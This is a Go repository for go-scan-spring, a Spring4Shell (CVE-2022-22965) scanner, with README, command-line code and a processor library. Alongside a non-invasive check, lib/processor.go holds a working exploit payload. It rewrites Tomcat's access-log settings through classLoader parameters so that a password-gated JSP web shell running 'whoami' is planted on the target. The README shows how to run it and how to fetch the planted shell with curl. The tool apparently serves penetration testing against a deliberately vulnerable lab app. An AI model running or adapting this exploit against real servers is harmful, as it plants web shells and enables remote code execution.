.
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | go-scan-spring
4 |
5 |
6 |
7 |
8 | Vulnerability scanner to find Spring4Shell (CVE-2022-22965) vulnerabilities
9 | For more information: https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/
10 |
11 |
12 |
13 |
14 |
15 |
16 | # Build
17 | ```bash
18 | [~/opt] $ git clone https://github.com/fracturelabs/go-scan-spring.git
19 | [~/opt] $ cd go-scan-spring
20 | ```
21 |
22 | # Usage
23 | ## Help
24 | ```bash
25 | [~/opt/go-scan-spring] $ go run main.go help scan
26 |
27 | Run a scan against target URLs looking for vulnerable services
28 |
29 | Usage:
30 | go-scan-spring scan [flags]
31 |
32 | Flags:
33 | -f, --file string Target URL filename (- for stdin)
34 | --follow-redirect Follow redirects
35 | -h, --help help for scan
36 | --http-get Test using HTTP GET requests (must set =false to disable) (default true)
37 | --http-post Test using HTTP POST requests (must set =false to disable) (default true)
38 | --identifier string Unique scan identifier (used as a password and an exploit filename) (default "go-scan-spring")
39 | -x, --proxy string Upstream proxy
40 | --run-baseline Run a baseline test to see if endpoint is up
41 | --run-exploit Run an exploit to retrieve the owner of the Tomcat process
42 | --run-safe Run a safe test to see if endpoint is vulnerable
43 | -s, --sleep int Time to sleep between exploit steps. This is needed to allow time for deployment. (default 10)
44 | -t, --threads int Number of threads (default 5)
45 |
46 | Global Flags:
47 | --debug enable debug logging
48 | ```
49 | ## Basic safe scan
50 | ```bash
51 | [~/opt/go-scan-spring] $ go run main.go scan --run-safe -f urls.txt
52 | ```
53 |
54 | ## Basic safe exploit
55 | Use your own unique `identifier` parameter!
56 |
57 | ```bash
58 | # Using HTTP GETs and POSTs
59 | [~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit
60 |
61 | # Using only HTTP GETs
62 | [~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-post=false
63 |
64 | # Using only HTTP POSTs
65 | [~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-get=false
66 | ```
67 |
68 | ### Verification
69 | You can verify the script works properly by testing against an intentionally vulnerable system, such as [spring4shell_victim](https://github.com/fracturelabs/spring4shell_victim)
70 |
71 | ```bash
72 | [~] $ curl --output - 'http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b'
73 | ```
74 |
75 |
76 | # Credits
77 | * The entire structure and several functions were borrowed heavily from the wonderful [GoWitness](https://github.com/sensepost/gowitness) project from SensePost.
78 | * The safe check implemented in this was inspired by [The Randori Attack Team](https://twitter.com/RandoriAttack/status/1509298490106593283) and [Zach Grace](https://twitter.com/ztgrace)
79 | * Whoever created the first PoC - stuff is moving too fast to properly attribute this right now!
80 |
--------------------------------------------------------------------------------
/cmd/root.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "fmt"
5 | "os"
6 |
7 | "github.com/fracturelabs/go-scan-spring/lib"
8 | "github.com/spf13/cobra"
9 |
10 | "github.com/rs/zerolog"
11 | "github.com/rs/zerolog/log"
12 |
13 | )
14 |
15 | var (
16 | options = lib.NewOptions()
17 | )
18 |
19 | var rootCmd = &cobra.Command{
20 | Use: "go-scan-spring",
21 | Short: "Spring vulnerability scanner",
22 | Long: `Spring vulnerability scanner`,
23 | PersistentPreRun: func(cmd *cobra.Command, args []string) {
24 | log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "2006-01-02T15:04:05-0700"})
25 | if options.Debug {
26 | log.Logger = log.Logger.Level(zerolog.DebugLevel)
27 | log.Logger = log.With().Caller().Logger()
28 | } else {
29 | log.Logger = log.Logger.Level(zerolog.InfoLevel)
30 | }
31 |
32 | options.Logger = &log.Logger
33 | },
34 | }
35 |
36 | func Execute() {
37 | err := rootCmd.Execute()
38 | if err != nil {
39 | fmt.Println(err)
40 | os.Exit(1)
41 | }
42 | }
43 |
44 | func init() {
45 | rootCmd.PersistentFlags().BoolVar(&options.Debug, "debug", false, "enable debug logging")
46 | }
47 |
48 |
49 |
--------------------------------------------------------------------------------
/cmd/scan.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "bufio"
5 | "crypto/tls"
6 | "net/http"
7 | "net/url"
8 | "os"
9 | "strings"
10 | "time"
11 |
12 | "github.com/remeh/sizedwaitgroup"
13 | "github.com/spf13/cobra"
14 | "github.com/fracturelabs/go-scan-spring/lib"
15 | )
16 |
17 | var scanCmd = &cobra.Command{
18 | Use: "scan",
19 | Short: "Initiate scan",
20 | Long: `Run a scan against target URLs looking for vulnerable services`,
21 | Run: func(cmd *cobra.Command, args []string) {
22 | log := options.Logger
23 | log.Info().Str("target file", options.TargetFile).Msg("Scan initiated")
24 |
25 | scanner, f, err := getScanner(options.TargetFile)
26 | if err != nil {
27 | log.Fatal().Err(err).Str("file", options.TargetFile).
28 | Msg("unable to read source file")
29 | }
30 | defer f.Close()
31 |
32 | swg := sizedwaitgroup.New(options.Threads)
33 |
34 | client := getHTTPClient()
35 |
36 | for scanner.Scan() {
37 | candidate := scanner.Text()
38 | if candidate == "" {
39 | return
40 | }
41 |
42 | for _, candidateURL := range getUrls(candidate) {
43 | swg.Add()
44 |
45 | go func(url *url.URL) {
46 | defer swg.Done()
47 | statusLog := log.Info()
48 |
49 | methods := []string{}
50 |
51 | if options.HTTPGet {
52 | methods = append(methods, "GET")
53 | }
54 |
55 | if options.HTTPPost {
56 | methods = append(methods, "POST")
57 | }
58 |
59 | sleepNeeded := false
60 | for _, method := range methods {
61 | log.Debug().Str("method", method).Str("url", url.String()).Msg("Queuing")
62 |
63 | p := &lib.Processor{
64 | Logger: log,
65 | BaseURL: url,
66 | HTTPClient: client,
67 | HTTPMethod: method,
68 | Identifier: options.Identifier,
69 | }
70 |
71 | if sleepNeeded {
72 | time.Sleep(time.Duration(options.Sleep) * time.Second)
73 | sleepNeeded = false
74 | }
75 |
76 |
77 | // Baseline Scan
78 | if options.RunBaseline {
79 | err := p.Baseline()
80 |
81 | if err != nil {
82 | log.Error().Err(err).
83 | Str("url", url.String()).
84 | Msg("Baseline scan failed")
85 | return
86 | }
87 |
88 | log.Debug().
89 | Str("original URL", url.String()).
90 | Str("final URL", p.FinalBaselineURL.String()).
91 | Int("Response Code", p.BaselineResponseStatus).
92 | Msg("Baseline finished")
93 |
94 | }
95 |
96 |
97 | // Safe Scan
98 | if options.RunSafe {
99 | if sleepNeeded {
100 | time.Sleep(time.Duration(options.Sleep) * time.Second)
101 | sleepNeeded = false
102 | }
103 |
104 | err = p.Safe()
105 |
106 | if err != nil {
107 | log.Error().Err(err).
108 | Str("url", url.String()).
109 | Msg("Safe scan failed")
110 |
111 | return
112 | }
113 |
114 | log.Debug().
115 | Str("original URL", url.String()).
116 | Str("final URL", p.FinalSafeURL.String()).
117 | Int("Response Code", p.SafeResponseStatus).
118 | Msg("Safe finished")
119 |
120 |
121 | if p.Vulnerable {
122 | statusLog = log.Warn()
123 | sleepNeeded = true
124 | }
125 | }
126 |
127 |
128 |
129 | //TODO: Create a function to look for 'go-scan-spring-whoami' to prevent duplicate runs of Exploit
130 | if options.RunExploit {
131 | // Run the exploit
132 |
133 | if sleepNeeded {
134 | time.Sleep(time.Duration(options.Sleep) * time.Second)
135 | sleepNeeded = false
136 | }
137 |
138 | err = p.Exploit()
139 | sleepNeeded = true
140 |
141 | if err != nil {
142 | log.Error().Err(err).
143 | Str("url", url.String()).
144 | Msg("Exploit scan failed")
145 | return
146 | }
147 |
148 | log.Debug().
149 | Str("original URL", url.String()).
150 | Str("final URL", p.FinalExploitURL.String()).
151 | Int("Response Code", p.ExploitResponseStatus).
152 | Msg("Exploit finished")
153 |
154 |
155 | if p.Vulnerable || p.Exploited {
156 | statusLog = log.Warn()
157 | }
158 |
159 | //Reset the logging
160 |
161 | if sleepNeeded {
162 | time.Sleep(time.Duration(options.Sleep) * time.Second)
163 | sleepNeeded = false
164 | }
165 |
166 | err = p.Reset()
167 | sleepNeeded = true
168 |
169 | if err != nil {
170 | log.Error().Err(err).
171 | Str("url", url.String()).
172 | Msg("Reset scan failed")
173 | return
174 | }
175 |
176 | log.Debug().
177 | Str("original URL", url.String()).
178 | Int("Response Code", p.ResetResponseStatus).
179 | Msg("Reset finished")
180 | }
181 |
182 | statusLog.
183 | Str("Method", p.HTTPMethod).
184 | Bool("Vulnerable", p.Vulnerable).
185 | Bool("Exploited", p.Exploited).
186 | Str("Target URL", url.String()).
187 | Int("Baseline Status", p.BaselineResponseStatus).
188 | Int("Safe Status", p.SafeResponseStatus).
189 | Int("Exploit Status", p.ExploitResponseStatus).
190 | Str("Verification URL", p.Verification).
191 | Msg("Finished scanning target")
192 | }
193 | }(candidateURL)
194 | }
195 | }
196 |
197 | swg.Wait()
198 | log.Info().Msg("Processing complete")
199 |
200 | },
201 | }
202 |
203 | func init() {
204 | rootCmd.AddCommand(scanCmd)
205 |
206 | scanCmd.Flags().StringVarP(&options.TargetFile, "file", "f", "",
207 | "Target URL filename (- for stdin)")
208 |
209 | scanCmd.Flags().IntVarP(&options.Threads, "threads", "t", 5,
210 | "Number of threads")
211 |
212 | scanCmd.Flags().IntVarP(&options.Sleep, "sleep", "s", 10,
213 | "Time to sleep between exploit steps. This is needed to allow time for deployment.")
214 |
215 | scanCmd.Flags().StringVarP(&options.Identifier, "identifier", "", "go-scan-spring",
216 | "Unique scan identifier (used as a password and an exploit filename)")
217 |
218 | scanCmd.Flags().StringVarP(&options.Proxy, "proxy","x", "",
219 | "Upstream proxy")
220 |
221 | scanCmd.Flags().BoolVarP(&options.FollowRedirect, "follow-redirect", "", false,
222 | "Follow redirects")
223 |
224 | scanCmd.Flags().BoolVarP(&options.RunBaseline, "run-baseline", "", false,
225 | "Run a baseline test to see if endpoint is up")
226 |
227 | scanCmd.Flags().BoolVarP(&options.RunSafe, "run-safe", "", false,
228 | "Run a safe test to see if endpoint is vulnerable")
229 |
230 | scanCmd.Flags().BoolVarP(&options.RunExploit, "run-exploit", "", false,
231 | "Run an exploit to retrieve the owner of the Tomcat process")
232 |
233 | scanCmd.Flags().BoolVarP(&options.HTTPGet, "http-get", "", true,
234 | "Test using HTTP GET requests (must set =false to disable)")
235 |
236 | scanCmd.Flags().BoolVarP(&options.HTTPPost, "http-post", "", true,
237 | "Test using HTTP POST requests (must set =false to disable)")
238 |
239 |
240 | scanCmd.MarkPersistentFlagRequired("file")
241 | }
242 |
243 | func getScanner(i string) (*bufio.Scanner, *os.File, error) {
244 | if i == "-" {
245 | return bufio.NewScanner(os.Stdin), nil, nil
246 | }
247 |
248 | file, err := os.Open(i)
249 | if err != nil {
250 | return nil, nil, err
251 | }
252 |
253 | return bufio.NewScanner(file), file, nil
254 | }
255 |
256 | func getUrls(target string) (c []*url.URL) {
257 |
258 | // Use the provided target if it starts with 'http'
259 | if strings.HasPrefix(target, "http") {
260 | u, err := url.Parse(target)
261 | if err == nil {
262 | c = append(c, u)
263 | }
264 |
265 | return
266 |
267 | } else {
268 | u, err := url.Parse("http://" + target)
269 | if err == nil {
270 | c = append(c, u)
271 | }
272 |
273 | u, err = url.Parse("https://" + target)
274 | if err == nil {
275 | c = append(c, u)
276 | }
277 | }
278 |
279 | return
280 | }
281 |
282 | func getHTTPClient() (*http.Client) {
283 | log := options.Logger
284 |
285 | transport := &http.Transport {
286 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
287 | DisableKeepAlives: true,
288 | }
289 |
290 | if options.Proxy != "" {
291 | proxyURL, err := url.Parse(options.Proxy)
292 | if err != nil {
293 | log.Fatal().Err(err).Str("proxy", options.Proxy).
294 | Msg("Invalid proxy setting")
295 | }
296 |
297 | log.Debug().Str("proxyURL", proxyURL.String()).Msg("Setting proxy")
298 | transport.Proxy = http.ProxyURL(proxyURL)
299 | }
300 |
301 |
302 | client := &http.Client{
303 | Transport: transport,
304 | Timeout: time.Second * 5,
305 | }
306 |
307 | log.Debug().Bool("FollowRedirect", options.FollowRedirect).Msg("Redirects")
308 | if ! options.FollowRedirect {
309 | client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
310 | return http.ErrUseLastResponse
311 | }
312 | }
313 |
314 | return client
315 | }
316 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/fracturelabs/go-scan-spring
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/inconshreveable/mousetrap v1.0.0 // indirect
7 | github.com/remeh/sizedwaitgroup v1.0.0 // indirect
8 | github.com/rs/zerolog v1.26.1 // indirect
9 | github.com/spf13/cobra v1.4.0 // indirect
10 | github.com/spf13/pflag v1.0.5 // indirect
11 | )
12 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
2 | github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
3 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
4 | github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
5 | github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
6 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
7 | github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
8 | github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
9 | github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
10 | github.com/rs/zerolog v1.26.1 h1:/ihwxqH+4z8UxyI70wM1z9yCvkWcfz/a3mj48k/Zngc=
11 | github.com/rs/zerolog v1.26.1/go.mod h1:/wSSJWX7lVrsOwlbyTRSOJvqRlc+WjWlfes+CiJ+tmc=
12 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
13 | github.com/spf13/cobra v1.4.0 h1:y+wJpx64xcgO1V+RcnwW0LEHxTKRi2ZDPSBjWnrg88Q=
14 | github.com/spf13/cobra v1.4.0/go.mod h1:Wo4iy3BUC+X2Fybo0PDqwJIv3dNRiZLHQymsfxlB84g=
15 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
16 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
17 | github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
18 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
19 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
20 | golang.org/x/crypto v0.0.0-20211215165025-cf75a172585e/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
21 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
22 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
23 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
24 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
25 | golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
26 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
27 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
28 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
29 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
30 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
31 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
32 | golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
33 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
34 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
35 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
36 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
37 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
38 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
39 | golang.org/x/tools v0.1.7/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo=
40 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
41 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
42 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
43 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
44 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
45 |
--------------------------------------------------------------------------------
/lib/options.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "github.com/rs/zerolog"
5 | )
6 |
7 | type Options struct {
8 | // Logging
9 | Logger *zerolog.Logger
10 | Debug bool
11 |
12 | // Scan options
13 | TargetFile string
14 | Threads int
15 | AllowInsecureURIs bool
16 | Identifier string
17 | Proxy string
18 | FollowRedirect bool
19 | Sleep int
20 | RunBaseline bool
21 | RunSafe bool
22 | RunExploit bool
23 | HTTPGet bool
24 | HTTPPost bool
25 | }
26 |
27 | func NewOptions() *Options {
28 | return &Options{}
29 | }
--------------------------------------------------------------------------------
/lib/processor.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "bytes"
5 | "net/http"
6 | "net/url"
7 |
8 | "github.com/rs/zerolog"
9 | )
10 |
11 | // Processor is a URL processing helper
12 | type Processor struct {
13 | Logger *zerolog.Logger
14 | HTTPClient *http.Client
15 | BaseURL *url.URL
16 | HTTPMethod string
17 |
18 | FinalBaselineURL *url.URL
19 | FinalSafeURL *url.URL
20 | FinalExploitURL *url.URL
21 | FinalResetURL *url.URL
22 | Verification string
23 |
24 | // HTTP response codes
25 | BaselineResponseStatus int
26 | SafeResponseStatus int
27 | ExploitResponseStatus int
28 | ResetResponseStatus int
29 |
30 | // Status
31 | Working bool
32 | Vulnerable bool
33 | Exploited bool
34 |
35 | // Scan Identifier
36 | Identifier string
37 | }
38 |
39 |
40 | func (p *Processor) Baseline() (err error) {
41 | resp, err := p.HTTPClient.Head(p.BaseURL.String())
42 |
43 | if err != nil {
44 | return err
45 | }
46 |
47 | defer resp.Body.Close()
48 |
49 | p.FinalBaselineURL = resp.Request.URL
50 | p.BaselineResponseStatus = resp.StatusCode
51 |
52 | p.Working = (resp.StatusCode == http.StatusOK)
53 |
54 | return err
55 | }
56 |
57 |
58 | func (p *Processor) Safe() (err error) {
59 | baseURL := p.BaseURL.String() + "?" + getSafePayload()
60 |
61 | resp, err := p.HTTPClient.Head(baseURL)
62 |
63 | if err != nil {
64 | return err
65 | }
66 |
67 | defer resp.Body.Close()
68 |
69 | p.FinalSafeURL = resp.Request.URL
70 | p.SafeResponseStatus = resp.StatusCode
71 |
72 | p.Vulnerable = (resp.StatusCode == http.StatusInternalServerError)
73 |
74 | return err
75 | }
76 |
77 |
78 | func (p *Processor) Exploit() (err error) {
79 | exploit := getExploitPayload(p.Identifier)
80 |
81 | payload := ""
82 | baseURL := p.BaseURL.String()
83 |
84 | if p.HTTPMethod == "GET" {
85 | baseURL = baseURL + "?" + exploit
86 | }
87 |
88 | if p.HTTPMethod == "POST" {
89 | payload = exploit
90 | }
91 |
92 | req, err := http.NewRequest(p.HTTPMethod, baseURL, bytes.NewBuffer([]byte(payload)))
93 |
94 | // Common headers
95 | req.Header.Set("Prefix", "<%")
96 | req.Header.Set("Suffix", "%>//")
97 | req.Header.Set("Var1", "Runtime")
98 | req.Header.Set("S4SID", p.Identifier)
99 |
100 | if p.HTTPMethod == "POST" {
101 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
102 | }
103 |
104 | resp, err := p.HTTPClient.Do(req)
105 |
106 | if err != nil {
107 | return err
108 | }
109 |
110 | defer resp.Body.Close()
111 |
112 | p.FinalExploitURL = resp.Request.URL
113 |
114 |
115 | exploitURL, err := url.Parse(p.FinalExploitURL.String())
116 | if err != nil {
117 | p.Logger.Err(err).Str("FinalExploitURL", p.FinalExploitURL.String()).
118 | Msg("Couldn't parse URL")
119 | }
120 |
121 | p.Verification = exploitURL.Scheme + "://" + exploitURL.Host +
122 | "/go-scan-spring/" + p.Identifier + "-AD.jsp?pwd=" + p.Identifier
123 |
124 | if err != nil {
125 | p.Logger.Err(err).Msg("Couldn't parse Verification")
126 | }
127 |
128 | p.ExploitResponseStatus = resp.StatusCode
129 | p.Exploited = (resp.StatusCode == http.StatusOK)
130 |
131 | return err
132 | }
133 |
134 |
135 | func (p *Processor) Reset() (err error) {
136 | exploit := getResetPayload()
137 |
138 | payload := ""
139 | baseURL := p.BaseURL.String()
140 |
141 | if p.HTTPMethod == "GET" {
142 | baseURL = baseURL + "?" + exploit
143 | }
144 |
145 | if p.HTTPMethod == "POST" {
146 | payload = exploit
147 | }
148 |
149 | req, err := http.NewRequest(p.HTTPMethod, baseURL, bytes.NewBuffer([]byte(payload)))
150 |
151 | // Common headers
152 | req.Header.Set("Prefix", "<%")
153 | req.Header.Set("Suffix", "%>//")
154 | req.Header.Set("Var1", "Runtime")
155 | req.Header.Set("S4SID", p.Identifier)
156 |
157 | if p.HTTPMethod == "POST" {
158 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
159 | }
160 |
161 | resp, err := p.HTTPClient.Do(req)
162 |
163 | if err != nil {
164 | return err
165 | }
166 |
167 | defer resp.Body.Close()
168 |
169 | p.ResetResponseStatus = resp.StatusCode
170 | return err
171 | }
172 |
173 |
174 | func getSafePayload() (string) {
175 | return url.QueryEscape("class.module.classLoader.URLs[-1]")
176 | }
177 |
178 |
179 | func getExploitPayload(identifier string) (string) {
180 | baseObject := "class.module.classLoader.resources.context.parent.pipeline.first"
181 | prefix := identifier
182 | suffix := ".jsp"
183 | directory := "webapps/go-scan-spring"
184 | fileDateFormat := "-G"
185 |
186 | pattern := `%{Prefix}i ` +
187 | `out.println("go-scan-spring-whoami
"); ` +
188 | `if("%{S4SID}i".equals(request.getParameter("pwd"))) { ` +
189 | ` java.io.InputStream in = %{Var1}i.getRuntime().exec("whoami").getInputStream(); ` +
190 | ` int a = -1; ` +
191 | ` byte[] b = new byte[2048]; ` +
192 | ` while((a=in.read(b))!=-1) { ` +
193 | ` out.println(new String(b)); ` +
194 | ` } ` +
195 | `} else { ` +
196 | ` out.println("Wrong or missing password"); ` +
197 | `} ` +
198 | `out.println("
"); ` +
199 | `%{Suffix}i`
200 |
201 | payload := baseObject + ".prefix=" + prefix + "&" +
202 | baseObject + ".suffix=" + suffix + "&" +
203 | baseObject + ".directory=" + directory + "&" +
204 | baseObject + ".fileDateFormat=" + fileDateFormat + "&" +
205 | baseObject + ".pattern=" + url.QueryEscape(pattern)
206 |
207 | return payload
208 | }
209 |
210 |
211 | func getResetPayload() (string) {
212 | baseObject := "class.module.classLoader.resources.context.parent.pipeline.first"
213 | fileDateFormat := "-yyMMdd"
214 |
215 | payload := baseObject + ".fileDateFormat=" + fileDateFormat
216 | return payload
217 | }
218 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import "github.com/fracturelabs/go-scan-spring/cmd"
4 |
5 | func main() {
6 | cmd.Execute()
7 | }
8 |
--------------------------------------------------------------------------------
/urls.txt:
--------------------------------------------------------------------------------
1 | http://localhost:8080/spring4shell_victim/vulnerable
2 |
--------------------------------------------------------------------------------